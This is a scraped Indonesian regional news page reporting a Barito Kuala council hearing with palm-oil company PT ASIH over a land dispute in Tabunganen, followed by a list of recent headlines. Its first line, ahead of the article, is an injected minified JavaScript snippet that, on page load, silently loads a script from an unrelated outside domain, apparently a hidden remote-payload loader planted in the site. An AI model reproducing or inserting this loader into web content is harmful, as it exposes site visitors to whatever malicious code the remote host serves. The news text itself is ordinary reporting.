(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Kuala

DPRD Batola Panggil PT ASIH Terkait Sengketa Lahan di Tabunganen


KANALKALIMANTAN.COM, MARABAHAN – Anggota DPRD Kabupaten Barito Kuala (Batola) menggelar pertemuan dengan manajemen PT Anugerah Sawit Inti Harapan (ASIH). Pertemuan kali ini beragenda dengar pendapat terkait sengketa lahan di Kecamatan Tabunganen, Kabupaten Batola, Provinsi Kalimantan Selatan (Kalsel).

Rapat dengar pendapat ini disambut Komisi III, berkenaan adanya laporan masyarakat terkait sengketa lahan perkebunan kelapa sawit PT ASIH.

“Sebelumnya, kami menerima laporan dari masyarakat, sehingga perlu meminta keterangan dari pihak perisahaan yang dimaksud,” ungkap Junaidin, Wakil Ketua Komisi III Batola DPRD Batola, Selasa (10/5/2022).

Junaidi juga menyampaikan bahwa pihak PT ASIH kooperatif dan merespon baik dalam upaya penyelesaian masalah.Pihaknya telah menerima sekitar 200 fotokopi surat keterangan tanah warga.

 

Baca juga  : Korban Tewas Laka Maut di Poros Marabahan-Banjarmasin Kakak Adik, Satu Anak Kritis di RSUD Abdul Aziz

Namun, pihaknya belum dapat memastikan mengenai keabsahan surat tanah tersebut
“Apakah itu sesuai atau memang ada rekayasa dari pihak-pihak tertentu. Nanti kami akan menindaklanjutinya dan akan memanggil masyarakat yang namanya sesuai dengan surat keterangan tanah tersebut,” kata Junaidi.

Lanjutnya, sebagai wakil rakyat pihaknya akan berusaha mencarikan jalan terbaik agar pihak perusahaan dan warga bisa menyelesaikan permasalahan ini dengan baik, tanpa harus ke ranah hukum.

Sementara itu, manejemen PT ASIH, Wahyu, menegaskan, pihaknya sudah menawarkan pilihan jika warga ingin masuk ke plasma dan juga siap untuk ganti rugi lahan.

“Mengenai hal itu, harus dibuktikan dengan kepemilikan lahan yang sah dan bisa menunjukkan lokasi lahannya. Begitu juga dengan lahan yang masih dalam sengketa, kami tidak berani untuk melakukan ganti rugi, apalagi sampai menggarapnya,” tandas dia.(kanalkalimantan.com/rdy)

Reporter  : rdy
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.